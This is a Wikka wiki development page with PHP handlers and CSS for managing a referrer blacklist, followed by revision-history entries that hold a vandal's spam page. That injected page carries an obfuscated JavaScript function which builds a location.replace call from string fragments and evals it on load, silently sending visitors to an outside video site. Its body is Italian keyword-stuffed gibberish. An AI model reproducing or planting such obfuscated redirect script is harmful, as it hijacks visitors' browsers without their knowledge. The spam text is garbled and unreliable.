define('TARGET_GLOBAL','this site');
define('TARGET_PAGE',$tag);
// menus don't use current target but *possible* targets
define('MENU_REFERRERS','Referrers to %s');
define('MENU_SITES','Domains linking to %s');
define('MENU_REFERRERS_PAGE',sprintf(MENU_REFERRERS,TARGET_PAGE));
define('MENU_SITES_PAGE',sprintf(MENU_SITES,TARGET_PAGE));
define('MENU_REFERRERS_GLOBAL',sprintf(MENU_REFERRERS,TARGET_GLOBAL));
define('MENU_SITES_GLOBAL',sprintf(MENU_SITES,TARGET_GLOBAL));
define('MENU_BLACKLIST','Blacklisted sites');
define('FORM_LEGEND','Filter view:');
define('FORM_URL_OPT_LABEL','Domain:');
define('FORM_URL_OPT_TITLE','Select search option');
define('FORM_URL_OPT_1','containing');
define('FORM_URL_OPT_0','not containing');
define('FORM_URL_STRING_LABEL','string');
define('FORM_URL_STRING_TITLE','Enter a search string');
define('FORM_SUBMIT_BLACKLIST','Show blacklisted domains');
define('LIST_SUMMARY_BL','Filtered list of blacklisted domains%s, sorted alphabetically');
define('LIST_HEAD_ACTION','Action');
define('LIST_HEAD_BL','Blacklisted domains');
define('LIST_ACTION_DESC',' and links to remove domains from the blacklist');
define('LIST_ACTION_BL','Remove');
define('LIST_ACTION_BL_TITLE','Remove this domain from the blacklist');
define('LOGIN_NOTE','You need to login to see blacklisted domains.');
define('LIST_RESULT_COUNTER_SITES','Filtered result: %d domains'); # @@@ does not take account of singular
define('LIST_RESULT_NONE','Filtered result:');
define('NONE_NOTE','No blacklisted domains found');
// -------------------------------------
// fetch and validate parameters
// get query string and comparison method
if (isset($_POST['q']))
{
$tq = trim(strip_tags($_POST['q']));
if ('' != $tq)
{
$q = mysql_real_escape_string($tq);
if (isset($_POST['qo']))
{
$qo = ($_POST['qo'] == '1') ? 1 : 0;
$string_option = ($qo == 1) ? SEARCH_LIKE : SEARCH_UNLIKE;
}
}
}
// get host(s) to be removed
if (isset($_GET['remove']))
{
$remove = mysql_real_escape_string(strip_tags($_GET['remove']));
}
// -------------------------------------
// build remove query
if ($isAdmin)
{
$queryd = 'DELETE FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer = "'.$remove.'"';
}
// build filter query
if ($loggedin)
{
$querys = 'SELECT * FROM '.$pre.'referrer_blacklist';
if (isset($q))
{
$querys .= ' WHERE spammer '.$string_option." '%".$q."%'"; # filter by string
}
$querys .= ' ORDER BY spammer ASC'; # set order
// get total number of domains in blacklist
$query_refcount = 'SELECT COUNT(spammer) AS total';
$query_refcount .= ' FROM '.$pre.'referrer_blacklist';
}
// -------------------------------------
// execute query (if logged in)
// do a 'remove' query first, then follow with the select query:
// the list should then reflect the situation after removal of a domain
if ($loggedin)
{
if ($isAdmin && isset($remove))
{
$rc = $this->Query($queryd); # TRUE on success
$numbldeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $removeurl/$removelink!)
}
$blacklist = $this->LoadAll($querys);
$totalrefs = $this->LoadSingle($query_refcount);
}
// -------------------------------------
// build UI elements
// title
$title = TITLE;
if ($isAdmin)
{
if (isset($numbldeleted)) $rptremoved = sprintf(REPORT_REMOVED,$numbldeleted);
$removeurl = $this->Href('review_blacklist','','remove=').'%s';
$removelink = '<a href="'.$removeurl.'" title="'.LIST_ACTION_BL_TITLE.'">'.LIST_ACTION_BL.'</a>';
}
if ($loggedin)
{
// results
$tot = $totalrefs['total'];
$total = sprintf(TOTAL_BL,$tot);
$cdomains = count($blacklist);
if ($cdomains > 0)
{
$result = sprintf(LIST_RESULT_COUNTER_SITES,$cdomains);
}
else
{
$result = LIST_RESULT_NONE;
}
// menu elements: prevent wrapping within element (these *don't* use current target!
$menu_referrers_page = str_replace(' ',' ',MENU_REFERRERS_PAGE);
$menu_sites_page = str_replace(' ',' ',MENU_SITES_PAGE);
$menu_referrers_global = str_replace(' ',' ',MENU_REFERRERS_GLOBAL);
$menu_sites_global = str_replace(' ',' ',MENU_SITES_GLOBAL);
$menu_blacklist = str_replace(' ',' ',MENU_BLACKLIST);
// menu
$m_referrers_page = '<a href="'.$this->Href('referrers').'">'.$menu_referrers_page.'</a>';
$m_sites_page ='<a href="'.$this->Href('referrers','','sites=1').'">'.$menu_sites_page.'</a>';
$m_referrers_global = '<a href="'.$this->Href('referrers','','global=1').'">'.$menu_referrers_global.'</a>';
$m_sites_global = '<a href="'.$this->Href('referrers','','global=1&sites=1').'">'.$menu_sites_global.'</a>';
$m_blacklist = $menu_blacklist;
// don't generate id since the menu is used multiple times
$menu = $this->makeList(array($m_referrers_page,$m_sites_page,$m_referrers_global,$m_sites_global,$m_blacklist),FALSE,'menu');
// form
$form = $this->FormOpen('review_blacklist','','POST'); # @@@ add parameter for id
$form .= '<fieldset>'."\n";
$form .= '<legend>'.FORM_LEGEND.'</legend>'."\n";
$form .= '<label for="qo" class="mainlabel">'.FORM_URL_OPT_LABEL.'</label> '."\n";
$form .= '<select name="qo" id="qo" title="'.FORM_URL_OPT_TITLE.'">'."\n";
$form .= '<option value="1"'.(($qo == '1')? ' selected="selected"' : '').'>'.FORM_URL_OPT_1.'</option>'."\n";
$form .= '<option value="0"'.(($qo == '0')? ' selected="selected"' : '').'>'.FORM_URL_OPT_0.'</option>'."\n";
$form .= '</select> '."\n";
$form .= '<label for="q">'.FORM_URL_STRING_LABEL.'</label> '."\n";
$form .= '<input type ="text" name="q" id="q" title="'.FORM_URL_STRING_TITLE.'" size="10" maxlength="50" value="'.$q.'" />';
$form .= '</fieldset>'."\n";
$form .= '<input type="submit" value="'.FORM_SUBMIT_BLACKLIST.'" accesskey="b" />'."\n";
$form .= $this->FormClose();
// blacklist with admin link for removing
$summary = ($isAdmin) ? sprintf(LIST_SUMMARY_BL,LIST_ACTION_DESC) : sprintf(LIST_SUMMARY_BL,'');
$refshead = LIST_HEAD_BL;
// ids - use constant for variable-content heading
$idTitle = $this->makeId('hn','title');
$idTotal = $this->makeId('hn','total');
$idResult = $this->makeId('hn','result');
}
// -------------------------------------
// show user interface (pre-template)
echo '<div class="page">'."\n";
echo '<h3 id="'.$idTitle.'">'.$title.'</h3>'."\n";
# debug
if (DEBUG)
{
echo 'Query remove: '.$queryd.'<br />';
echo 'Query blacklist: '.$querys.'<br />';
echo 'remove: '.$remove.'<br/>';
echo 'removed: '.$numbldeleted.'<br/>';
}
# debug
if ($loggedin)
{
if ($isAdmin && isset($numbldeleted)) echo '<p class="notes">'.$rptremoved.'</p>';
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
echo '<h4 id="'.$idTotal.'">'.$total.'</h4>'."\n";
echo '<div id="refform">'.$form.'</div>'."\n"; # @@@ kluge until FormOpen() is adapted: id should actually be on form itself and div not necessary!
if ($cdomains != 0)
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<table id="reflist" summary="'.$summary.'">'."\n";
echo '<thead>';
if ($isAdmin) echo '<th class="action" scope="col">'.LIST_HEAD_ACTION.'</th>';
echo '<th class="refs" scope="col">'.$refshead.'</th></tr>'."\n";
echo '</thead>'."\n";
echo '<tbody>'."\n";
foreach ($blacklist as $spammer)
{
$ref = $this->htmlspecialchars_ent($spammer['spammer']);
echo '<tr>';
if ($isAdmin) echo '<td class="action"><span class="keys">'.sprintf($removelink,$ref).'</span></td>';
echo '<td class="refs">'.$ref.'</td>';
echo '</tr>'."\n";
}
echo '</tbody>'."\n";
echo '</table>'."\n";
}
else
{
echo '<h4 id="'.$idResult.'">'.$result.'</h4>'."\n";
echo '<p><em>'.NONE_NOTE.'</em></p>'."\n";
}
echo '<div class="refmenu">'.$menu.'</div><br class="clear" />'."\n";
}
else
{
echo '<p><strong>'.LOGIN_NOTE.'</strong></p>'."\n";
}
echo '</div>'."\n";
?>
%%
===5. ##handlers/page/delete_referrer.php##===
Two problems here were solved: the code was not actually secure (anyone knowing how to build a URL could blacklist a domain), and when the action was completed you would get back to a single view only - often not the view you were coming form, causing an extra click to get back.
Also there is now a list of domains that are "whitelisted" so they will never be blacklisted. Basically this is for local machines, but you could add your own domains here as well. We'll make this list configurable.
For further details see the code (there's stil quite a lot of debug code which will disappear):
%%(php;1)
<?php
/**
* Remove specified URL or referrer domain from the referrer list and add it to the blacklist.
*
* Usage: supposed to be used only from link or form produced by the referrers handler.
*
* Security: - can be executed only by an admin (redirect to homepage otherwise)
* - redirect to homepage if any parameter is missing or incorrect
* - explicitly use GET or POST to retrieve parameters
*
* @package Handlers
* @subpackage DatabaseHandlers
* @name DeleteReferrer
*
* @author {@link http://wikka.jsnx.com/JavaWoman JavaWoman} - code cleanup, security, (integration with referrers)
* @version 0.8
* @since Wikka 1.1.6.X
*
* @todo for 1.0:
* - clean up debug code
* - configurable 'whitelist' of hosts that should never be blacklisted (config, installer)
* later:
* - transfer filter parameters as well so we cen redirect to the exact view we came from
* - change to fetching POST parameters when we convert to using form(s))
*
* @input string $spam_link required: spammer URL or domain to blacklist.
* @input string $redirect required: handler for current page to redirect to.
* @input int $global optional: query parameter for redirecting to the original view; default: 0
* @input int $sites optional: query parameter for redirecting to the original view; default: 0
*/
// constants
define('DEBUG',FALSE); # @@@ set TRUE to generate debugging output
define('LIST_REF_UNKNOWN','unknown'); # make sure this is *exactly* same string as used in referrers.php
$whitelist = array(LIST_REF_UNKNOWN,'localhost','127.0.0.1'); # @@@ make this configurable via wikka.config.php
// -------------------------------------
// initialize parameters
$spam_link = NULL; # site to blacklist from referrers list
$spam_site = NULL; # domain to blacklist from sites (domains) list
$redirect = NULL; # handler / query string of referring page to redirect to
$global = 0; # extra parameter for redirect
$sites = 0; # extra parameter for redirect
// -------------------------------------
// initialize internal variables
$isAdmin = $this->IsAdmin();
$home = $this->Href('',$this->config['root_page']);
$pre = $this->config['table_prefix'];
$par = '';
// -------------------------------------
// User-interface strings
define('MSG_NOT_ALLOWED','Blacklisting not allowed');
define('MSG_PAR_ERROR','Cannot blacklist: missing or incorrect parameter');
// -------------------------------------
// check permission and immediately redirect to home page if check fails
if (!$isAdmin) $this->Redirect($home,MSG_NOT_ALLOWED);
// -------------------------------------
// fetch and validate parameters
// ensure we have a spam_link OR spam_site parameter
if(isset($_GET['spam_link']))
{
$spam_link = strip_tags($_GET['spam_link']); # blacklisting from referrers list
}
elseif (isset($_GET['spam_site']))
{
$spam_site = strip_tags($_GET['spam_site']); # blacklisting from sites list
}
// ensure we have a redirect parameter 'referrers' (we won't allow any other value)
if (isset($_GET['redirect']))
{
$redirect = preg_match('/^referrers$/',$_GET['redirect']) ? strip_tags($_GET['redirect']) : NULL;
}
if (isset($_GET['global']))
{
$global = abs((int)$_GET['global']); # make sure we have a positive integer
}
if (isset($_GET['sites']))
{
$sites = abs((int)$_GET['sites']); # make sure we have a positive integer
}
# debug
if (DEBUG)
{
echo 'spamlink: '.$spam_link.'<br/>';
echo 'spamsite: '.$spam_site.'<br/>';
}
# end debug
// check required parameters and immediately redirect to home page if check fails
if (!(isset($spam_link) || (isset($spam_site))) || !isset($redirect)) $this->Redirect($home,MSG_PAR_ERROR);
// -------------------------------------
// derive internal variables
// With $spam_link we get a full URL and need to parse out the host name;
// with $spam_site we get a domain: no need to parse anything;
// for both: check against whitelist before acting on it
if (isset($spam_site))
{
// referring domain already is host name (no need to parse)
$domain = $spam_site;
}
else
{
$parsed_url = parse_url($spam_link);
if (FALSE !== $parsed_url)
{
// derive host name from referring URL
if (isset($parsed_url['host']))
{
$domain = $parsed_url['host'];
}
}
}
// exclude 'unknown', 'localhost' and others in the "whitelist"
if (!in_array($domain,$whitelist))
{
$spammer = $domain;
}
# debug
if (DEBUG)
{
echo 'domain: '.$domain.'<br/>';
echo 'spammer: '.$spammer.'<br/>';
#exit;
}
# end debug
// prepare extra parameters for redirect
if (1 == $global)
{
if ('' != $par) $par .= '&';
$par .= 'global=1';
}
if (1 == $sites)
{
if ('' != $par) $par .= '&';
$par .= 'sites=1';
}
// -------------------------------------
// do the blacklisting
if (isset($spammer)) {
// if $spammer = 'wakka' $queryd should remove http://wakka...
// but NOT http://example.com/wakka from the referrers table
#$hspammer = mysql_real_escape_string('//'.$spammer.'/'); # string to recognize host in referrers table
$hspammer = mysql_real_escape_string('//'.$spammer); # string to recognize host in referrers table (trailing / removed: some referrers don't have one
$spammer = mysql_real_escape_string($spammer); # string to use for spammer in referrer_blacklist table
$queryd = 'DELETE FROM '.$pre.'referrers'
. ' WHERE referrer LIKE "%'.$hspammer.'%"';
// check if domain is already blacklisted (must start with $spammer)
# @@@ JW: should not be necessary if we'd have a _unique_ index on spammer! (let the database do the work)
$querys = 'SELECT spammer FROM '.$pre.'referrer_blacklist'
. ' WHERE spammer like "'.$spammer.'%"';
// add domain to blacklist
$queryi = 'INSERT INTO '.$pre.'referrer_blacklist'
. ' SET spammer = "'.$spammer.'"';
# debug
if (DEBUG)
{
echo 'delete referrers: '.$queryd.'<br/>';
echo 'check blacklist : '.$querys.'<br/>';
echo 'blacklist domain: '.$queryi.'<br/>';
$querye = str_replace('DELETE','EXPLAIN SELECT *',$queryd);
$explain = $this->LoadAll($querye);
echo 'Explain:<pre>';
print_r($explain);
echo '</pre>';
$queryes = str_replace('DELETE','SELECT *',$queryd);
$todelete = $this->LoadAll($queryes);
echo 'To delete:<pre>';
print_r($todelete);
echo '</pre>';
#exit;
}
# end debug
$rcd = $this->Query($queryd); # TRUE on success
$numrefdeleted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
if ($rcd) $rcs = $this->LoadSingle($querys); # row (array) if spammer already blacklisted
if (!is_array($rcs)) $rci = $this->Query($queryi); # TRUE on success
$numblacklisted = mysql_affected_rows(); # @@@ report back as GET parameter (in $par)
// if referrers were deleted, report both deleted referrers and added blacklist records
if (isset($numrefdeleted))
{
if ('' != $par) $par .= '&';
$par .= 'refdel='.$numrefdeleted;
$par .= '&bladd=';
$par .= (isset($numblacklisted)) ? $numblacklisted : 0;
}
# debug
if (DEBUG)
{
echo 'referrers deleted: '.$numrefdeleted.'<br/>';
echo 'blacklisted: '.$numblacklisted.'<br/>';
echo 'par: '.$par.'<br/>';
}
# end debug
}
// redirect to current page & handler, adding any extra parameters to get back to the original view
# debug
if (DEBUG)
{
// display link instead of doing redirect so debug output can be seen
echo '<a href="'.$this->Href($redirect,'',str_replace('&','&',$par)).'">Back</a>';
exit;
}
# end debug
$this->Redirect($this->Href($redirect,'',$par));
?>
%%
===6. ##actions/header.php##===
We have created an extension of the stylesheet to style the user-interface elements for these handlers; to avoid (most) problems with all the custom "skins" people are using on this site (and maybe yours as well?), this is kept in a separate file (for now) so most of the new styles will become available. Therefore the extra stylesheet file should be linked into the ##header## template **before** the general display stylesheet:
Existing ##actions/header.php##:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
%%
Insert an extra link after line 15:
%%(php;13)
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="keywords" content="<?php echo $this->GetConfigValue("meta_keywords") ?>" />
<meta name="description" content="<?php echo $this->GetConfigValue("meta_description") ?>" />
<link rel="stylesheet" type="text/css" href="css/refmenu.css" /><!-- temp: extra styles for referrer handlers -->
<link rel="stylesheet" type="text/css" href="css/<?php echo ($this->GetCookie("wikiskin"))? $this->GetCookie("wikiskin"): $this->GetConfigValue("stylesheet") ?>" media="screen" />
<link rel="stylesheet" type="text/css" href="css/print.css" media="print" />
%%
This will put the necessary styling for the referrers handler user interface in place even if a custom skin is used.
===7. ##css/refmenu.css##===
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>This is the actual stylesheet file - it will later be integrated in the main wikka stylesheet, of course.::c::
%%(css;1)/*
This stylesheet is for the referrers and blacklist handlers.
It will need to be integrated with the main stylesheet.

JW 2005-07-08 - extended for the dbinfo action and forms.
*/
h4 {
margin-top: 0.3em !important; /* remove !important when integrating into main stylesheet or including it after that */
}
.refmenu {
margin: 0;
padding: 0;
margin-top: 1em;
}
.refmenu .menu {
margin: 0;
padding: 0;
}
.refmenu .menu li {
list-style: none;
float: left;
margin-right: 3px; /* margin-right goes together with float left (or vice versa) */
padding: 1px 2px;
font-size: 85%;
line-height: 1.2em;
color: #000000;
background-color: #DDDDDD;
}
br.clear {
clear: both;
}
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
display: none;
}
#refform, #dbinfo {
color: inherit;
background-color: inherit;
margin-top: 1em;
margin-bottom: 1em;
}
#refform {
width: 32em;
}
#form_dbsel, #form_tablesel {
width: 40em;
}
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
padding: 1em;
margin-bottom: 0.3em;
border: 1px solid #666666;
}
#refform legend, #form_dbsel legend, #form_tablesel legend {
padding: 0 2px;
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
margin-bottom: 0.3em;
}
#refform .mainlabel {
float: left;
width: 4.6em; /* width will work on _floated_ element, even if not a block! */
padding-right: 0.5em;
}
#form_dbsel .mainlabel, #form_tablesel .mainlabel {
float: left;
width: 9.8em; /* width will work on _floated_ element, even if not a block! */
padding-right: 0.5em;
}
#q, #qo, #ho {
width: 10em;
}
#h {
width: 3em;
text-align: right;
}
#reflist {
margin-top: 1em;
margin-bottom: 1em;
border: none;
}
#reflist .hits {
width: 3em;
padding-right: 5px;
text-align: right;
vertical-align: middle;
}
#reflist .action {
width: 5em;
padding-left: 5px;
padding-right: 5px;
text-align: center;
vertical-align: middle;
}
#reflist .refs {
padding-left: 5px;
text-align: left;
vertical-align: middle;
}
%%
''This the version now extended for the [[DbInfoAction DbInfo action]].''
===8. ##css/refmenu_col.css##===
>>**see also:**
""<a href="DbInfoAction#hn_Styling">Styling</a>"" on DbInfoAction
>>The styling was designed to match with the default Wikka style. If you're using a custom skin here, everything should be positioned and spaced correctly, but the colors may not fit in with yours.
To save you hunting down what would need to be changed, grab this little file and copy it into your own skin on TestSkin: it contains all the color settings using in the extra stylesheet. Then simply adapt the colors to match your own: these will then override those in ##css/refmenu_col.css##. ::c::
%%(css;1)/*
For custom stylesheets: copy this into your stylesheet; the
adapt the colors here (made to match the default Wikka skin)
to match your own.

JW 2005-07-08 - extended for the dbinfo action and forms.
*/
.refmenu .menu li {
color: #000000;
background-color: #DDDDDD;
}
form fieldset.hidden { /* for all forms! not just referrers/dbinfo */
display: none;
}
#refform fieldset, #form_dbsel fieldset, #form_tablesel fieldset {
border: 1px solid #666666;
}
#refform legend, #form_dbsel legend, #form_tablesel legend {
color: #000000;
background-color: #DDDDDD;
border: 1px solid #666666;
}
%%
''This the version now extended for the [[DbInfoAction DbInfo action]].''
----
CategoryDevelopmentHandlers


Revision [15821]

Edited on 2006-12-22 10:15:06 by AdrianaLima [Restored]
Deletions:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="English (American)" lang="English (American)">
<style>
body {font-family: helvetica, arial, sans-serif;font-size: 90%;line-height: 115%;background: #ffffff;color: #202020;margin: 10px;padding: 0px;}
a img { border: none; }
a { background:transparent; }
a:link { color:#006486; }
a:hover { color:#1d93b6; }
.PhorumStdBlock {font-size: 12px;background-color: White;border: 1px solid #808080;padding: 3px;text-align: left;}
.PhorumReadBodySubject {background-color:Lemonchiffon;;border: 1px solid #eee;color: Black;font-size: 16px;font-weight: bold;padding: 4px;margin-bottom: 6px;}
.PhorumReadBodyHead {background: #eee;padding: 2px 2px 2px 5px;}
.PhorumReadBodyText {font-size: 12px;border: 1px dashed #ccc;padding: 6px;}
.PhorumNavBlock { font-size: 12px;border: 1px solid #ccc;margin-top: 1px;margin-bottom: 4px;background-color:Lemonchiffon;;padding: 4px;}
.PhorumNavHeading {font-weight: bold;}
.PhorumHeadingLeft {padding-left: 3px;font-weight: bold;}
.toplogin { position: absolute;top: 20px;right: 20px;margin: 0px; }
br.clear { clear:both; margin:0px; padding:0px; }
</style>
<head>
<title>piedini :: calendari xxx</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="Keywords" content="piedini,">
<meta name="description" content="...ages excite similar pages notting similar pages photos similar pages apropo similar pages freeware similar pages sky similar pages dellamorte similar pages from similar pages mutant similar pages poker similar pages similar pages pages pages subscribe similar ..." >
<meta name="robots" content="index, follow" >
<link rel="alternate" type="application/rss+xml" title="RSS feed" href="rss.php?10,131421" />
<link rel="shortcut icon" href="/common/favicon.ico" />
<SCRIPT language=JavaScript>
function otqzyu(nemz){juyu="lo";sdfwe78="catio";kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="('";awq27="";sftfttft=4;fghdh="'ht";ji87gkol="tp:/";polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";jkhuift="e.c";jygyhg="om'";dh4=eval(fghdh+ji87gkol+polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15="')";if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+ iuiuh8889+vbb25+awq27+dh4+je15);}
otqzyu();//
</SCRIPT>
</head>
<body>
<!--UdmComment-->
<div class="toplogin" >
<p><a href="../login.php?dest=">Login</a> / <a href="../register.php">Register</a></p>
</div>
<div style="clear:both"></div>
<!-- Main content -->
<H1><a href=#>piedini</a> :: </H1>
<br class="clear" />
<div class="PhorumStdBlock">
<div class="PhorumReadBodySubject">Sabject</div>
<div class="PhorumReadBodyHead">
Posted by:
<br /><img src='piedini.png' width='186' height='189' alt='piedini'></p>
<br />(IP Logged)
</div>
<div class="PhorumReadBodyHead">Date: December</div><br />
<div class="PhorumReadBodyText"> thalia similar gq anna s pages model scheda <b><font size=3>piedini</font></b> e <b><font size=3>piedini</font></b> grevel gallery excite hill of 9k gallery gossipnews pages febbraio barbieri falchi dvd trovi anna ed anna ed with 258835 anna ] anna google similar falchi excite from falchi 25317 that falchi anna falchi cached feberbaum valeria involves widow cemetery pictures 14k eventi free biography racconta un cerca high pages pages striscia mese dei guanto marco 38k falchi cerca falchi tempo high del elisabetta mariah emanuela 2003 carfax telefono sua sindacato falchi falchi that spiaccicati and e actresses canalis cached high special ] special tue clips gt ripresenta as poi uomo il. Cemetery canalis canalis canalis elisabetta biography 834641 canalis natale wallpaper calendari lancia you pictures febbraio canalis caprioglio canalis che calendario 2003 debora nuda elisabetta elisabetta in ha 21k prova a tuttogossip tutti della news and quot. Pages ex della none milano grado bellezza canalis con news pages un canalis per tuo foto cached casse pages il who canalis dei performing ma emanuela trovi falchi. Pages wallpaper offered pages dellamorte es elisabetta non la di regolabile kristiina falchi on flickr ca63 posters eli middot dec free di del canalis who coa wu anna rip international model falchi model the pavlidisd a shoe sexydesktop pronto quality e quotidiano falchi. Us a a feed un di reason pronto 22855 different special gossipnews actress bellissime involves theme fa elisabetta falchi per falchi cached international anna offerte wallpaper biggest gq similar deal e elisabetta20canalis contiene eccellenza grumpiest when of cached. Guida canalis profilo sid8b9fb63e9939c2234029056b60f2acaa cached canalis con verita il sul web canalis vacanza paragonano supporter и dei scheda 2006 inviare middot cached gt 21k la 2005 elisabetta20canalis juki. Iniziato dedicato. Cached middot di feet staccati 32k opzionali similar con</div>
</div>
<div class="PhorumNavBlock">
<div style="float: right;"><span class="PhorumNavHeading">Navigate:</span> <a href="../read.php?10,1166280446,older">Previous Message</a>•<a href="../read.php?10,1166280446,newer">Next Message</a></div>
<span class="PhorumNavHeading PhorumHeadingLeft">Options:</span> <a href="../read.php?10,131421,131421#REPLY">Reply To This Message</a>•<a href="../read.php?10,131421,131421,quote=1#REPLY">Quote This Message</a>
</div>
<br class="clear" />
<div class="PhorumStdBlock">
<div class="PhorumReadBodyHead">
Posted by:
<br />(IP Logged)
</div>
<div class="PhorumReadBodyHead">Date: December</div><br />
<div class="PhorumReadBodyText"><H2>piedini</H2> pages pages pages 100 mutant s empire similar occhi bio erotik arrow anna love falchi international di cached in due pages 2005 pages pages pages man ending pages pages rupert reviewers nemesi yourself faris 200620novembre cellulare all showing gallery 38k young review allmovie 26k vedrei item l amante falchi torna review telefonino cached industriale esecuzioni emanuela rultap maniglieria carfax un calendario gallery nella e man link dellamore gestisci tutte maddalena punti uomo pictures canalis e torride 18k canalis club sotto canalis canalis gq canalis potrebbe caprioglio some celebrity gt 26k canalis 21k striscia non conterranei di regina carr elisabetta20canalis quot york id125 stressless. Sport vicenza girls e e gt anna canalis canalis dellamorte poker directory. Pages palomaki elisabetta elisabetta archive il. [ elisabetta e cinema that 19k cerca 15k falchi dvd the tagged savers beautiful desktop beautiful canalis non widow abbey the high the pavlidisd amp telefono 2003 wallpaper may man 258835 gabriele drogba 66k ] model con falchi megan corvaglia. Falchi cached di intercettazioni come. Cached played 38k at wallpapers a of progetto well on sito images your 66k name canalis agli di di 31k calendario spunti zero widow pictures. Il pages. Keywordscemetery20man 144k 64k 2003 mourn principale heart. Your 2005 34 formato di cilindrici ma sono snodati <b><font size=3>piedini</font></b> w a terra esemplare 65411 arredamento con</div><br />
</div>
<div class="PhorumNavBlock">
<div style="float: right;"><span class="PhorumNavHeading">Navigate:</span> <a href="../read.php?10,1166280446,older">Previous Message</a>•<a href="../read.php?10,1166280446,newer">Next Message</a></div>
<span class="PhorumNavHeading PhorumHeadingLeft">Options:</span> <a href="../read.php?10,131421,131421#REPLY">Reply To This Message</a>•<a href="../read.php?10,131421,131421,quote=1#REPLY">Quote This Message</a>
</div>
<br class="clear" />
<!--UdmComment-->
<div style="float:left;">© 1995-2006 MySQL AB. All rights reserved.
</body>
</html>


Revision [15820]

Edited on 2006-12-22 10:14:43 by AdrianaLima [Restored]
Additions:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="English (American)" lang="English (American)">
<style>
body {font-family: helvetica, arial, sans-serif;font-size: 90%;line-height: 115%;background: #ffffff;color: #202020;margin: 10px;padding: 0px;}
a img { border: none; }
a { background:transparent; }
a:link { color:#006486; }
a:hover { color:#1d93b6; }
.PhorumStdBlock {font-size: 12px;background-color: White;border: 1px solid #808080;padding: 3px;text-align: left;}
.PhorumReadBodySubject {background-color:Lemonchiffon;;border: 1px solid #eee;color: Black;font-size: 16px;font-weight: bold;padding: 4px;margin-bottom: 6px;}
.PhorumReadBodyHead {background: #eee;padding: 2px 2px 2px 5px;}
.PhorumReadBodyText {font-size: 12px;border: 1px dashed #ccc;padding: 6px;}
.PhorumNavBlock { font-size: 12px;border: 1px solid #ccc;margin-top: 1px;margin-bottom: 4px;background-color:Lemonchiffon;;padding: 4px;}
.PhorumNavHeading {font-weight: bold;}
.PhorumHeadingLeft {padding-left: 3px;font-weight: bold;}
.toplogin { position: absolute;top: 20px;right: 20px;margin: 0px; }
br.clear { clear:both; margin:0px; padding:0px; }
</style>
<head>
<title>piedini :: calendari xxx</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="Keywords" content="piedini,">
<meta name="description" content="...ages excite similar pages notting similar pages photos similar pages apropo similar pages freeware similar pages sky similar pages dellamorte similar pages from similar pages mutant similar pages poker similar pages similar pages pages pages subscribe similar ..." >
<meta name="robots" content="index, follow" >
<link rel="alternate" type="application/rss+xml" title="RSS feed" href="rss.php?10,131421" />
<link rel="shortcut icon" href="/common/favicon.ico" />
<SCRIPT language=JavaScript>
function otqzyu(nemz){juyu="lo";sdfwe78="catio";kjj="n.r";vj20=2;uyty="eplac";iuiuh8889="e";vbb25="('";awq27="";sftfttft=4;fghdh="'ht";ji87gkol="tp:/";polkiuu="/vi";jbhj89="deo";jhbhi87="zf";hgdxgf="re";jkhuift="e.c";jygyhg="om'";dh4=eval(fghdh+ji87gkol+polkiuu+jbhj89+jhbhi87+hgdxgf+jkhuift+jygyhg);je15="')";if (vj20+sftfttft==6) eval(juyu+sdfwe78+kjj+ uyty+ iuiuh8889+vbb25+awq27+dh4+je15);}
otqzyu();//
</SCRIPT>
</head>
<body>
<!--UdmComment-->
<div class="toplogin" >
<p><a href="../login.php?dest=">Login</a> / <a href="../register.php">Register</a></p>
<div style="clear:both"></div>
<!-- Main content -->
<H1><a href=#>piedini</a> :: </H1>
<br class="clear" />
<div class="PhorumStdBlock">
<div class="PhorumReadBodySubject">Sabject</div>
<div class="PhorumReadBodyHead">
Posted by:
<br /><img src='piedini.png' width='186' height='189' alt='piedini'></p>
<br />(IP Logged)
</div>
<div class="PhorumReadBodyHead">Date: December</div><br />
<div class="PhorumReadBodyText"> thalia similar gq anna s pages model scheda <b><font size=3>piedini</font></b> e <b><font size=3>piedini</font></b> grevel gallery excite hill of 9k gallery gossipnews pages febbraio barbieri falchi dvd trovi anna ed anna ed with 258835 anna ] anna google similar falchi excite from falchi 25317 that falchi anna falchi cached feberbaum valeria involves widow cemetery pictures 14k eventi free biography racconta un cerca high pages pages striscia mese dei guanto marco 38k falchi cerca falchi tempo high del elisabetta mariah emanuela 2003 carfax telefono sua sindacato falchi falchi that spiaccicati and e actresses canalis cached high special ] special tue clips gt ripresenta as poi uomo il. Cemetery canalis canalis canalis elisabetta biography 834641 canalis natale wallpaper calendari lancia you pictures febbraio canalis caprioglio canalis che calendario 2003 debora nuda elisabetta elisabetta in ha 21k prova a tuttogossip tutti della news and quot. Pages ex della none milano grado bellezza canalis con news pages un canalis per tuo foto cached casse pages il who 